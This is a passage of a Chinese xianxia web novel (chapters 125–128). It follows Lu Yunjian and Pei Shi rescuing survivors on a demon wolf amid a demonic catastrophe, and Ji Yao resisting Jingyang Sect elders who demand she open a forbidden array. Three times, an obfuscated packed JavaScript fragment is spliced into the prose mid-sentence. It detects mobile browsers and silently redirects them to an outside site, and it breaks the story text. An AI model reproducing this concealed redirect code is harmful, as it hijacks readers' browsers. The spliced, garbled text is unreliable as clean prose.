陆云笺点点头,抬头望了一眼上空:“到处是瘴气和妖邪,别御剑了。” 她说罢抬手,寥寥数笔画出一道阵法,而后将那紫色阵法朝脚下一掷,光阵瞬时扩张数十倍,一只足有一成年男子高、通体银白的妖狼一跃而出,伏下身来。 陆云笺抬手摸了摸妖狼额间那道紫色弯月,道:“破月,载我二人,前往蒲山。” 一向多嘴多舌的破月妖狼没有言语,只恭顺地待二人翻上背,转头瞥了裴世一眼,朝着蒲山的方向疾奔而去。 仙门结界一破,众修士与百姓都无处藏身,慌张之下四处逃窜,又被流窜妖魔与又一批狂化的“人”逮住,一时哭喊震天,狼藉遍地。 而奇焳微弱的啼鸣仍如斩不断的丝线般绵延不绝。 妖狼如同一道迅疾的光自地狱间奔过,裴世定定望了下方片刻,轻轻拍了拍陆云笺的手,示意她安心,而后忽地纵身朝下方一跃。 倏然而起的金色灵光比任何术法的灵光都更为璀璨耀目,裴世的身影淹没在乱舞群魔之间,不多时,便有两名重伤修士与三名昏厥过去的百姓被送了上来。 陆云笺一伸手,将五人拽上妖狼背,然而妖狼的步伐稍一停顿,便有无数妖邪扑将上来,撕扯啃咬它的皮毛。 妖狼吃痛怒吼,陆云笺喊道:“破月,不用等,往前走!” 妖狼得了令,继续往前狂奔,一路不知路过多少结界破碎的仙门。 陆云笺召出破月匕首斩杀妖邪,又自下方尸山血海中捞出寥寥幸存者,妖狼原本银白如月的皮毛已然被染成了血红。 为防伤及无辜以及遭受更多妖邪攻击,妖狼的身形不能扩得更大,步伐也丝毫停顿不得,否则便会被诸多妖魔群起而攻之。 下方攒动人头如同一条模糊河流匆匆奔流而过,陆云笺能拉住的人不过数十,能安然上到妖狼背的更是寥寥,绝大多数人都哭喊着自下方流过,可陆云笺已无余力再从地狱之中拉住他们的手。 好容易又拉上来一个年幼小儿,陆云笺将他的往身后一塞,正欲去拉另一人时,身旁忽然传来一声惊呼,有人连尖叫都来不及发出,便被挤了下去。 陆云笺眼疾手快一伸手,提住了那人后领,将他提回妖狼背上,喊道:“多加小心,不要摔下去!还能腾出空地吗,再拉些人上来!” 人群攒动,似乎有人在朝她喊什么,但陆云笺什么都听不见,只知道半点空位都再腾不出来,为防止有人不慎摔落,妖狼疾奔的速度也减慢了不少。 陆云笺闭上了眼,不再去看下方。 看不见,听不见,恍惚间竟会觉得这世间太平如常。 不知过了多久,裴世终于携着两名孩童追上,陆云笺一直给他留着空位,两个孩童无处去,裴世便只得将两个都抱在怀里,尽量少占些地方。 二人都不知道要怎么处理小孩儿,好在似乎是太过劳累,两个孩童都已昏睡过去,没有哭闹。 陆云笺与裴世挨得极近,又或许因为听力缺失,嗅觉便格外敏锐,浓重得几乎令人窒息的血腥气扑面而来,陆云笺不由得皱了皱鼻子,抬手在裴世身上摸索:“你受伤了?” 裴世摇头。 陆云笺便不再检查,只抬手扯了扯他的脸,轻轻叹了口气,又去看怀中那两个浑身是血、昏睡不醒的孩童。 裴世写道:这些人怎么处理? 陆云笺道:“如今离云间世越来越远,只能等到时候经过镜阳宗,看看镜阳宗有没有余力留下一部分人了。” 话虽如此,可二人都知道镜阳宗掌门令已毁,门派中也不见得有多少人忠于镜阳宗、愿担救护百姓之责,若单靠季瑶一人,定然是撑不住的。 陆云笺抬眸问道:“方才那些仙门,有几家结界尚在,还能护人的?” 裴世伸出一只手摇了摇,又写:只有五家,且因灵力不足,不得不缩小结界,大多只能护住自家门派修士,将百姓都赶了出来。 陆云笺道:“如果没有仙门容得下这些人,就只能先带去蒲山了。蒲山有参世仙人留下的结界,那些妖邪破不了的。” 裴世抬手欲写,他原想说明蒲山结界与箜篌神器息息相关,若是取走箜篌神器,蒲山灵气也会消失殆尽,但犹豫片刻,到底没有写下去,只点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16626774|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了点头。 他顿了顿,又写:你是不是…… 然而写了几个字,又抬手抹去。 陆云笺见他涂涂抹抹,觉得有些好笑:“小柿子,你老是抹掉做什么?说出去的话是泼出去的水,写出来的字也不能收回去。” 裴世定定看了她片刻,抬手又欲写,却忽闻一声惊慌喊叫,便停了手,抬眼去看。 陆云笺顺着他的目光看去,见身后一对夫妻正被什么东西往下狠拽,二人死死拽住妖狼背上的皮毛,才勉强没有摔落,然而身边的孩童却抓不住,止不住地往下滑。 陆云笺一翻身拽住了那对夫妻的手,却不知下头拽着二人的究竟是什么,力道之大,拽得陆云笺一瞬间也险些身形不稳。 探头去看,却见是一名有些年岁的修士,这人身上虽也溅了不少血,但还能看清穿着打扮,应当是云间世地界望月教的掌门。 他自湍急的尸海血流中死死拽住了即将摔落的二人,像是攀上了救命的绳索一般,死命往上爬。 被拽住的二人下意识地蹬腿,想把拽住自己的东西踹下去,望月教掌门许是觉得碍事,一抬手中剑,男人便被拦腰斩断,霎时鲜血喷溅。 陆云笺拽着那男人仅剩的半截身子,一时惊骇。 那男人一死,便是为望月教掌门腾出了位置,他狠力一攀,死死揪住妖狼的皮毛,用尽力气想要攀上妖狼背。 陆云笺眸色一冷,召出破月将望月教掌门往上攀的手削断,然而他只痛呼一声,便伸出另一手拽住了被陆云笺抓住的女人。 陆云笺正欲再砍,裴世先一步抬脚一踹,将望月教掌门一脚踹了下去。 望月教掌门惊痛怒吼一声,恼怒之下抬剑朝被陆云笺抓住的那女人臂上狠力一砍——即将被拉上妖狼背的女人瞬时滑了下去。 裴世正欲跃下妖狼背,却发觉那女人慌乱之间伸出另一手拽住了妖狼腹部的皮毛,勉强挂在半空,摇摇欲坠。裴世伸手去拉她,她却转过头来,泪流满面地摇了摇头。 一刀极深的剑伤横在她背上,她银牙咬碎,死死叼着孩子的衣领,两人在湍急的风中摇摇晃晃,如同一大一小两件单薄褴褛的衣衫。 那孩子下意识地不住挣扎,女人便更为费力,口齿之间已然隐隐流出了鲜血。 裴世一手拽住女人,一手提着孩童的衣领,将二人再度拉了上来。那孩童不过四五岁,满面鲜血,神情也有些呆滞。 那女人一见孩子被拉上来,便骤然失了力气,伏在妖狼背上,没了呼吸。 单薄无力的尸身伏在颠簸不已的妖狼背上,片刻便被颠了下去,又被新救上来的人填补了空位。 如此来来去去,生生死死,如同昼夜交替一般寻常。 妖狼背上都是些寻常百姓或是重伤的修士,全然受不了如此长时间、如此剧烈的颠簸,但妖魔肆虐,根本寻不到任何一处稍为安全的地方稍作休整。 陆云笺怀中搂着方才不过片刻便失去了双亲的孩童,抬头望了一眼鬼影纵横的前方。 好在破月妖狼奔走许久仍然身影迅捷,避开了大多数妖邪的袭击,一路奔来,更有无数妖魔鬼怪与狂化的“人”被踩碎。 陆云笺看了片刻,再转回头时,却见怀中的孩童不知何时已经醒来,睁大了一双眼睛,茫然无措地环顾四周。 陆云笺不知该说些什么,只好等着这孩子先开口,然而这孩子环顾片刻,却没有开口,只伸出手来比划着什么。 陆云笺道:“什么?” 那小孩子愣了一瞬,像是想起了什么,伸出手指了指自己喉间,又摆了摆手。 陆云笺见状,也学着他指了指自己双耳又摆手,勉强扯出笑容:“这可巧了,你不会说话,我听不见,咱俩正好凑一块儿了。” 126. 千灯尽 裴世瞥了一眼这孩童隐隐有些发灰的瞳眸,知道陆云笺是怕他情绪不稳、被奇焳夺去神智,只得叹了口气,抬手在那孩子指尖一点:“会写么?” 小孩儿瞥了一眼指尖亮起的萤火般的金光,觉得很是新奇,但还是老老实实地摆了摆手,又开始有些焦急地比划。 陆云笺看了一阵,胡乱猜道:“爹,娘?” 小孩儿激动得连连点头,又比划了一阵。 陆云笺盯着他的瞳眸看了一会儿,笑道:“你教教我,‘爹’,‘娘’,‘好’,‘担心’,‘哭’,这几个词怎么比划?” 裴世轻笑一声,心道陆云笺这几个问题已然把要说的话挂在了嘴边,也就只能迷惑四五岁小孩儿了。 小孩儿虽不解,但还是老老实实地照着陆云笺的要求,仔仔细细地比划了。好在陆云笺问的也算简单,再复杂些,他也不知该怎么比。 陆云笺细细看着,待小孩儿比完了,便将匆忙学来的手语混杂着自己乱七八糟的比划组成了一句:爹娘很好,不要担心,不要哭。 小孩儿疑惑地看她比划了半天,似懂非懂地点点头,又伸出手开始比划。 陆云笺知道他大概是想问爹娘在哪儿,自己为什么找不到他们之类,但即便知道,却也不知该如何扯,只好装作看不懂,从裴世怀里摸出一只青瓷小瓶,倒出一把黑乎乎的药丸似的事物。 陆云笺举了一颗,在小孩儿面前晃了晃,道:“糖,很甜的,要不要?” 小孩儿狐疑地盯了这黑乎乎的小丸子片刻,没说话。 陆云笺哄道:“吃了或许能看见你爹娘。”小孩儿这才接了放进嘴里。 陆云笺又在手中并无差异的黑丸子里挑挑拣拣,拣了一颗塞进裴世嘴里,剩下的一大把全都倒入自己口中。 估摸着最强的一阵苦劲儿要上来了,陆云笺顺手将小孩儿捞过来捂住嘴,在他迟来的震天哭声中笑道:“小屁孩儿不识货,你问问这位哥哥,是不是真的很甜?” 小孩儿不知道什么叫“甜”,但头晕目眩之间,竟然真的看见了爹娘的影子。 陆云笺低头一瞥,见小孩儿瞳眸中若隐若现的灰白褪去了,又恢复为一片澄澈的黑。 她轻轻叹了口气,抬头去看前方。 破月妖狼不知奔出了多远,来到偏僻一处,没有仙门残骸,也杳无人烟,妖邪总往人多的地方跑,显得此处格外安宁。 妖狼背上众人早被颠簸得神志不清,连日疲惫加上上空奇焳啼鸣仍在微弱地延续,正是心神不宁的时候,稍有不慎,便会失去神智。 陆云笺道:“破月,停一停,在此处休整片刻。” 妖狼闻言缓缓放慢速度,挑了一处山丘,在山丘边伏下身,等着人们互相搀扶着下到地面。 此间草木早已被践踏殆尽,光秃秃的山丘并不是一个合适的藏身之所,但不知从何时起,人们开始对这样一览无遗的蔽身之所放下心来。 人无法藏身,妖魔也就无法藏身。 裴世抬手在众人聚集处开了一道防御结界,便提剑去清理附近的妖魔。 众伤者中不乏有一直义正辞严要讨伐二人的门派弟子,此时都沉默地垂头躲在角落,将动静放到最轻。陆云笺也懒得与旁人多言,只拉了几个失了双亲的孩童一同窝在破月妖狼身边,守着他们先睡了过去。 妖狼难得顺从地充当了近似于床榻的角色,也并未对小孩儿喜欢扯住它的尾巴围在身上一事发表不满,只睨了陆云笺片刻,而后抬起爪子戳了戳她。 陆云笺靠在妖狼腰腹处,偏头道:“怎么?” 妖狼却又没动作了,将脑袋埋入两爪之间,像是要睡过去。 陆云笺也一反常态地没有与它多计较,盯着眼前金光璀璨的结界看了许久,意识有些模糊起来。 漫天瘴气遮天蔽日,分明是白日,却如亘古长夜一般昏暗无光,辨不清今夕何夕,也辨不出时光流逝几何。 陆云笺再睁开眼时,见身旁之人已经回来,便挪了挪身子,给他腾出位置。 裴世垂眸道:“吵醒你了?” 陆云笺道:“我没睡。” 裴世道:“……那你方才是晕过去了?” “……”陆云笺顺手放了几颗“苦尽甘来”糖在口中,用了片刻缓过神来,看向远处那片如同万千灯盏汇集起来的青碧色灵光,“镜阳宗那边的结界怎么样了?” 裴世写道:暂且无恙,但灵流不稳,恐怕支撑不了太久。 “……”陆云笺收回目光,轻轻叹了口气,“太容易了。” 裴世写道:“季衡”? 陆云笺点头:“他死得太容易了。我不信他会不留后手,孤注一掷只为杀我二人。” 她将双手枕在脑后,闭上眼睛,将散乱的珠子串起来: “他是季良衢与奇焳修成人形的后代的后代,既算得季家后代,也算得奇焳后代。好在他灵力已毁,最强的一张牌应当就是奇焳…… “如今众仙门已经没有精力再去顾及引魂之阵了,好在妖魔鬼怪类都已经杀得差不多……麻烦就麻烦在他能以自身作奇焳之用,引修真界众人自相残杀。 “若是他真死了,奇焳啼鸣也撑不了太久,届时我们再取了箜篌神器,他就输了。若是他还能不死,那又是为何?一击毙命,箜篌琴弦也发挥不了作用……” 裴世写道:季良衢死得也太过容易。 陆云笺被眼前晃动的金光晃得睁开了眼睛,看见这行浮动的文字,恍然一笑。 “的确……若是我,定会将季良衢千刀万剐,怎会一击毙命,放他死得如此容易?”陆云笺微微眯眼,“他留着季良衢做什么呢?” 裴世写道:只可惜不知季良衢献祭之法到底如何。 是啊……季衡与季良衢最强的联系便是曾经那道献祭之法,无论是她,是裴世,还是天玑长老,都只知季良衢献祭失败,却不知献祭有哪些步骤、又进行到了哪一步。 若是其中某一步,令季衡足以利用季良衢助自己一臂之力……甚至复生一次呢? 陆云笺道:“如今不必再寻他的踪迹,无论我们如何动作,若他还能活,都必定现身阻拦。既如此,不管他是死是活,我们都还是按原计划进行,尽快前往蒲山,若晚些,那些东西就该追上来了。” 裴世知道她是什么意思,抬手写道:休整过后便领众人前往镜阳宗。若有机会,我去再杀季良衢一次。 陆云笺笑道:“那归云仙君的罪名可又多了一重了。不过原也差不太多,我们再跑慢些,被逮了回去,都是要遭千刀万剐的。” 裴世闻言一怔,抬手欲写,正巧听陆云笺问道:“小柿子,你之前是要写什么?我是不是什么?” 话刚落音,那句话便浮现在眼前:你是不是从未想过能…… 然而裴世写到一半,却又顿住,像是不知该如何写下去。 陆云笺笑着替他补充完整:“我是不是从未想过自己能活着终止灾劫?” 裴世抬起的手一颤,放下了。 目力与耳力于修士而言最为重要,世人皆知云间世陆小姐身手迅捷、近战强悍,她在哀牢苦练十年,早便习惯,甚至依赖着卓绝的目力与耳力。 往后数年,若是再也听不见,世人如何能再见往年举世无双的陆小姐呢。陆云笺要如何,才会如此近乎破釜沉舟地毁去自己的听力? 陆云笺也知道他在想什么,笑道:“即便我还活着,听力毁了也没什么可惜的。这么多年,天天与妖魔鬼怪打交道,我早便厌倦了,等灾劫结束,我就挑个僻静的地方,盖一座小屋子,做个隐士,安度余生。不过你与我说话只能靠写,每日写个几千几万字,可要当心手吃不消,来日归云仙君若是连剑也拿不动,那可怎么是好?” 裴世垂眸看着她,没有回答。 他知她不喜僻静,更知她如此数年最大的喜好便是随手抓几只妖魔练手,若是真要做隐士,怕还不等屋子盖好,人就活活憋闷死了。 裴世拉过陆云笺的手,在她手心一笔一划地写:会好的。 这一回他指尖没有亮起金色光华,指尖在她手心擦过,没有留下半点痕迹,却有些痒。 陆云笺看了片刻,忽然不怀好意地凑在他耳边:“无所谓,无非是有些遗憾……还没听你说过一句正经情话呢。” 温热的气息吐在耳边,比指尖擦过掌心来得更痒。 裴世知道这人又在犯越是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16631781|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 焦躁不安就越喜欢胡说八道的毛病,却比任何一次都顺从乖巧,陆云笺话音一落,他便从善如流地吻了上去。 尚未化开的“苦尽甘来”糖在唇齿间翻滚,苦涩席卷而来,裴世却恍惚间觉得苦已尽了,“苦尽甘来”糖,当真是甜的。 待“苦尽甘来”糖全然消融,裴世自足以令人眩晕的甘甜中勉强回过神,轻声道:“你想听,我现在就说给你听。” 陆云笺虽没有辨清他说的什么,但大致能猜个八九不离十,于是半真半假地惊诧道:“你要写?”她说着扫了一眼身旁睡得七歪八扭的几个孩童,“归云仙君道德沦丧,光天化日之下给人家小孩子看些什么东西?” 裴世道:“我不写。” 陆云笺微一挑眉。 裴世继续道:“我说与你听,你来猜。” 陆云笺抱手冷笑:“好个衣冠楚楚的归云仙君,欺负人听不见?”话虽如此,却已经摆开了架势。 裴世的声音仍然很轻:“若你想归隐山水田园,我陪你。若你想继续留在云间世,时不时抓几个妖魔练手,我也会陪你。若你不想留在仙门,想做个云游天下的自在人,我同样会陪你。我说过会与你一同走下去,就不会食言。” 这句说得很慢,像是怕陆云笺看不清,一字一句说得很是清晰。 陆云笺看清了,笑道:“好。” “若是我食言了,你便不用再管我死活……”这句说得快了些,但陆云笺知道不是什么好话,于是道:“这句不要,下一句。” 裴世轻声笑道:“好。下一句……是我之前与你说过的那个惊喜。” 陆云笺微微睁大了眼睛,仔仔细细盯着他继续说下去。 “我的最后一个计划,是开启照灵阵。” 陆云笺蹙眉道:“……照灵阵?” 照灵阵是三百二十年前,陆成蔺利用照翎族二十余人开启的召唤照灵鸟魂魄的阵法。以四方神兽为基,以照翎族为引,召唤徘徊人间、久久不散的照灵鸟魂魄,福音天降,引渡众亡魂前往转生。 引渡……转生…… 疗愈,净化。 陆云笺猛地倾身,一把抓住裴世:“照灵阵?可……可照灵阵失传已久,逆转时空五年以来,众仙门也曾尝试过开启照灵阵,可连完整的阵法都画不出来,遑论召唤照灵鸟魂魄……” 裴世抬手轻轻覆上她的手,像是肯定,又像是宽慰:“是照灵阵。因为照灵骨,我对照灵阵的了解也会多一些,所以正在创制照灵阵。” “……什么时候?” “在蒲山幻境中我有此想法,后来在哀牢,我见了无津大师,便着手创制。” “为什么不告诉我?” “你已经很累了。”裴世将陆云笺微有些凌乱的发丝捋整齐,“圣清结界与箜篌神器都极其耗费灵力,开启照灵阵一事,交与我便好。” “那你与我说说,照灵阵是什么样的?” “与断界阵一样,以四方神兽为基,只是各个神兽方位与阵法图案有所不同。修真界之所以没能创制出照灵阵,是因陆成蔺留下的阵法图谱残缺不全,修真界未能获取完整的阵法图案。” “陆成蔺开启的照灵阵以照翎族为引,如今照翎族尽灭,你想以什么为引?” “箜篌神器。” 陆云笺将信将疑地盯着裴世的眼睛看了一阵,却看不出任何不对劲的情绪,只得道:“真的?” “自然。”裴世说着站起身来,“说好了我会为你铺路,照灵阵,就是我为你铺的路。所以我们不会输。” 陆云笺一抬手,拽住他的手:“小柿子,为什么不早点告诉我?” “……”裴世垂眸片刻,却没有回答,转而道,“休整约莫半个时辰,应当是够了,去镜阳宗探一探吧。” 其实方才几番话,陆云笺能辨清的字句不过寥寥,只不过连蒙带猜,猜出了裴世的意思,此时见他不愿答,便也不再多问,只道:“多谢。” 裴世轻轻摇了摇头,拍了拍她的手。 好容易把一众人又安置上了妖狼背,正欲奔往镜阳宗方向,却见那道通天的青碧色结界忽明忽暗,而后只一瞬,如同夜深灯灭一般,骤然失去了光华。 127. 枉同舟 “季小姐,结界破了。” 镜阳宗大长老抬头望了一眼消失不见的青碧色光华,微微笑道:“季小姐难道还要假冒什么‘代宗主’之名,拿着一个伪造的掌门令,号令我镜阳宗众人、号令镜阳宗地界众仙门吗?” 季瑶靠在早已因结界灵力枯竭而枯萎的巨木旁,抬眸望了一眼昏暗的天空。 她的右臂因支撑不住结界灵力而遭到反噬,此时无力地垂在身旁,再也握不住剑。 她默然将手中碎作齑粉的掌门令拂去,又将剑换到左手,道:“结界已破,众百姓与修士都无处藏身,当务之急,是齐心诛灭妖邪。” 大长老道:“结界为何会破?季小姐,我等看在往日颜面,不追究你假造掌门令、蓄意夺取宗主之位的过错,只望季小姐将真正的掌门令交出来,开启禁阵,才能护得住镜阳宗。” “我已经与诸位说过很多次。”季瑶眼前阵阵发黑,她不得不闭上眼睛,“兄长被妖邪附身,毁去了掌门令。真正的掌门令已经毁了。” 大长老尚未开口,一旁便有一名持着剑的弟子沉不住气,上前一步,道:“就算按你说的,大师兄被附身了,那他有什么理由毁掉掌门令?掌门令对他来说难道不是一样有利的工具吗?” 季瑶抬起眼,却只见剑光纵横,昔日亲切地唤着一声声“大师姐”的面孔,此时都一模一样地同仇敌忾,她忽地分不清方才说话的是谁。 她再度闭了闭眼,撑着剑站直了身体:“若要追究我的罪责,那也该等灾劫平息之后。我没有心思与诸位在此白费时间。”她抬步绕开众人的剑,一名弟子却慌了神,张臂拦住了她。 季瑶认出这是从前常来向她请教箭术的一名弟子,他虽有些腼腆胆怯,却重情重义。他的师父偶然间废了一只手臂,再使不得弓箭,他却不肯拜别的师父学习箭术,只自己苦苦琢磨,偶尔向她,或是向季衡请教。 那弟子眼里含着泪水,季瑶停了步,等他开口。 “你……你不能走。” 他似乎极为胆怯而不敢上前,剑掉在地上,也顾不得捡,只慌张又无力地堵在季瑶面前,哽咽道:“你走了,没有掌门令开启禁阵,会有更多的人死!我的师门……已经只剩我一个人了,你不能、不能就这么走了……” 众人闻言附和道:“季小姐,你就把掌门令交出来吧……” “开不了禁阵,大家都会死的……” “开了禁阵,保住镜阳宗地界的门派,大家都会感激……” “就算你留掌门令在手,我们不服你,你这宗主又能做得多久?” 季瑶一时默然,却有一人拨开堵住她的众长老弟子,上前道:“掌门令不在季瑶姐手上,真正的掌门令被季衡哥毁了……是我亲眼看见的。” 众人闻声转身看向来人,只见季繁洲一身淡金锦袍被黑红血块糊满,右臂一片血肉模糊,虽已止住了血,可透过血肉露出的一截森森白骨,实在醒目。 大长老惊愕地看向他,而后微有些愤怒地将他往身后拽:“现在还不到你说话的时候!” “那我该什么时候说话?”季繁洲抬起眸,往日里光彩照人的骄傲跋扈全然不见了,只有静若死水的沉沉的黑,“我只想说真话,季瑶姐没有错,你们不能这样。” 大长老喝道:“季繁洲,你抽什么疯?!不是说好……” 季繁洲一把挣开众人来抓他的手:“滚开!我不想当什么掌门,你们不要碰我!” 一众包围季瑶的长老与弟子显然都没料到季繁洲会忽然发难,一时有些无措。 季良衢无后,其钦定的继承人季衡下落不明,如今最适合坐上宗主之位的便是唯一与季良衢有几分血缘、双亲又早已逝世的季繁洲。季繁洲年岁尚轻,身边无人帮衬,行事又易冲动,不能服众,却是个极好的傀儡。 可他如今又在发什么疯? 季繁洲眼眶通红,像一头发疯的兽一般将众人撞开:“整整一个月都是季瑶姐一个人在撑着结界,现在结界没了,杀妖魔的也只有季瑶姐一个人,你们又在做些什么?! “你们……你们都仰仗着季瑶姐才能活下来,现在却逼人开禁阵……你们知道禁阵是什么吗? “没有掌门令,谁有那个灵力去开禁阵?你去?还是你?谁有本事谁来开啊! “一开禁阵,地方小门小派倒是安全了放心了,可镜阳宗寸草不存,这世间哪还有什么镜阳宗? “什么叫开禁阵才能护住镜阳宗?你们是想反吗?这么想独立出去自立门户?那去啊!留在这里咄咄逼人做什么?你们简直……” 嘶哑哽咽的声音忽地止住了,季繁洲忽觉脖颈一痛,而后浑身动弹不得,也再发不出半点声音,只能任由旁人将他拽到身后,严严实实挡住了他。 大长老沉着脸收回手,冷声道:“季小公子,你是季宗主在这世上唯一的血亲,如今季宗主选定的唯一继承人季衡下落不明,那便只能由你来继承宗主之位。” 季繁洲被众人七手八脚地押在后头,死死咬着牙,眼泪不受控地一滴一滴砸下,却再说不出半个字。 大长老向前迈了几步,将先前拦住季瑶的那名弟子往身后一揽,自己站在季瑶对面,护住身后一众侠肝义胆的正义之士。 “季小姐,既有季小公子作证,那我们姑且认为掌门令不在你手。可季小姐伪造掌门令、意欲夺取掌门之位一事,又该如何处置?” 季瑶握紧了手中剑,冷声道:“你们要如何?” “我等只想保全镜阳宗。”大长老的声音沉且缓,“只要季小姐当众让位于季小公子,将镜阳宗宗主之位还于季家血脉,再开启禁阵以赎伪造掌门令一罪,我等便不会再追究。” “我不会开启禁阵。”季瑶的声音轻而冷,像是即将融化的冰又一寸一寸地凝结起来,遮掩了冰冷之下的颤抖与无措,“我若是死了,诸位之中有谁会去杀妖邪?” “众仙门、众修士不能潜心杀敌,皆因宗主之位不明。季小姐还请尽快让位于季小公子,镜阳宗群龙不可无首,宗主若能下令,有谁会不从?” 季瑶周身的血液像是冷透了,她的目光穿过不远处暂时开启的一道防御结界,径直落在结界之外愈来愈多、愈来愈癫狂的“人”身上。 妖魔横行,世人狂化。 隔着一道单薄的防御结界,镜阳宗众人,提剑相向,只为争得一个宗主之位。 太恶心了。 什么镜阳宗,什么宗主之位,什么修真界,都太恶心了。 她只愿回到当年心无所虑、只管日日夜夜修习术法的时日,众人景仰艳羡的天下第二大门派宗主尊位,她不想沾染一星半点。 她虽不曾正式登上宗主之位,却仍有一部分修士与乌鳞卫遵她命令,在外杀敌。可若是让位给季繁洲,他又能按照自己所思所想下令吗? 季宗主最后一位血亲……随时可以被扼杀。届时不会再有什么季家血脉,也不会再有什么镜阳宗,存世三百二十年的第二大门派,就此销声匿迹,又或者……灰飞烟灭。 “我不要当宗主,你们给我滚。” 季瑶收回目光,见季繁洲齿间渗出丝丝鲜血,数道泪痕在那张覆满血污的脸庞上显得突兀刺眼,他的眸光倏然极亮,像是忽然回到了从前。 那个一心想成为“天下第一修士”的少年,抬起左手,生生将自己的右臂自肩膀处拽了下来。 他咬牙将断肢抛出结界,结界之外的“人”都刹那被新鲜的血吸引了去,眨眼间将他的手臂分食一空。 他七岁使箭便能射杀山妖,如今他十七岁,于箭术一道,实属佼佼,可列前五。 如今他亲手断绝了自己引以为傲的十年,从此以箭术占得修士行列前位的季小公子,再也使不了弓箭。 季繁洲面色惨白地捂住往外喷溅鲜血的断口,颤声道:“镜阳宗宗主……第一条就是‘形体完足,体貌周正’,我做不了宗主……我不想做宗主,你们不要再逼我……” 他像是骤然失了力气一般瘫坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16639599|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在地,仿佛神志不清、几近晕厥,却忽然抬起仅剩的一只手,捂住了自己的面庞,开始嚎啕大哭。 众人都没料到他会忽然挣开大长老施下的定身禁言咒,一时茫然不知所措,却没有一人上前扶起他。 季瑶面上一凉,后知后觉那是不受控制、滑落脸庞的泪水。她快步奔过去护住季繁洲,抬剑指向众人:“我曾立过誓,不伤百姓,不杀同门。但你们若再往前半步,大可试一试我的剑。” “好一个‘不伤百姓,不杀同门’。” 久未露面的青云阁阁主在此时悠然迈步自人群中走出,冷笑着点了点自己胸口:“季小姐还记不记得这一剑?我青云阁代代忠于镜阳宗,季小姐刺我一剑不要紧,但如今口口声声说什么‘不杀同门’,岂不是令我们心寒?!” 大长老忽地微微笑了,即便季繁洲这枚棋子废了,他仍然从容如初:“季小姐啊……你要把剑对准自己的同门吗?” “季小姐,我们也没有太追究你的过错,只是希望你开启禁阵,护镜阳宗周全……季小姐为何如此?” “当务之急是开启禁阵,护住镜阳宗地界内的修士与百姓,季小姐怎能……” 大长老轻飘飘扫了一眼防御结界之外癫狂的众“人”,道:“季小姐如此拖延时间,究竟是想做什么?是想等妖魔打破结界,与我等同归于尽吗?季小姐如此不把人命放在心上,未免太过冷心冷情,如何当得镜阳宗宗主?” “我说了,我不会开启禁阵。”季瑶为季繁洲止住血,而后抬剑直指大长老,“你们为我安上多少罪名,我都不会让步。” 大长老面色不悦,低眸扫了一眼刺在心口的剑尖,怒极反笑:“好、好好好。在场诸位可都亲眼见证了,季瑶……” 话未说完,眼前忽然黑影一闪,大长老当胸挨了一脚,被斥出数丈,险些脱离了防御结界覆盖范围,踉跄几步才勉强稳住身形。 大长老惊怒地抬眼望向方才黑影所来之处,却见一个青年身形、衣着单薄的人伸出一只手臂,死死挡在季瑶之前。 方才那一脚的力道实打实地重,他原以为是什么厉害人物,却不料是个跪在地上都止不住发抖的病秧子。大长老原当此人不过一介籍籍无名之辈,正欲收回目光,然而略去满身满脸血污,才认出这原是个熟人。 他抬手拍了拍衣襟上的尘土,冷笑道:“如今真是什么东西都进得我镜阳宗了。” 季瑶倏然睁大了眼睛。 “江年……” 贺江年剧烈地喘着气,手上拿着不知从何处捡来的破剑,浑身上下缠满了厚重的绷带,显得那样狼狈又滑稽,眸光却亮得惊人。 季瑶心中猛地一颤。自云间世到镜阳宗,那样远的距离,他一身伤,是怎样赶过来的? “阿瑶发过誓,‘不伤百姓,不杀同门’,可我没有。”贺江年咬牙道,“我就算只有一把破剑……也能打得你们倒地起不来。” “季小姐如此执迷不悟,竟还勾结云间世的人伤我镜阳宗诸人。”大长老也懒得再多言,让出前方一块空地,“既如此,休怪我等缉拿二位……开启镜阳宗禁阵。” 此言一出,原本默然无措的众人仿佛都有了方向,黑压压一片涌将上来,团团围住了三人。 长剑交叠,如同一道银光熠熠的墙,亮得晃眼。 直至此时,季瑶才发觉,原来镜阳宗境内还有这么多修士拿得了剑……唯有此时,他们才拿起剑。 季瑶再度闭上眼,挨过一阵天旋地转的眩晕,握紧了剑,正欲起身,眼前忽地爆开一团金光,直将包围三人的众人斥出数丈。 众人赶忙慌乱地朝金光所来之处望去,却并未看见放出灵光之人,只看见一道古怪的黑影,自另一座山头跃过。 似乎是察觉到此处数道目光,那人停下脚步,朝此处望了一眼。 季瑶猝然睁大了眼睛。 人群中终于有人看清了那道黑影,一时惶然大喊:“是、是宗主!宗主的遗体被盗走了!” 128. 恩义绝 那道黑影之所以“古怪”,是因为那并非孤零零一人的身影。 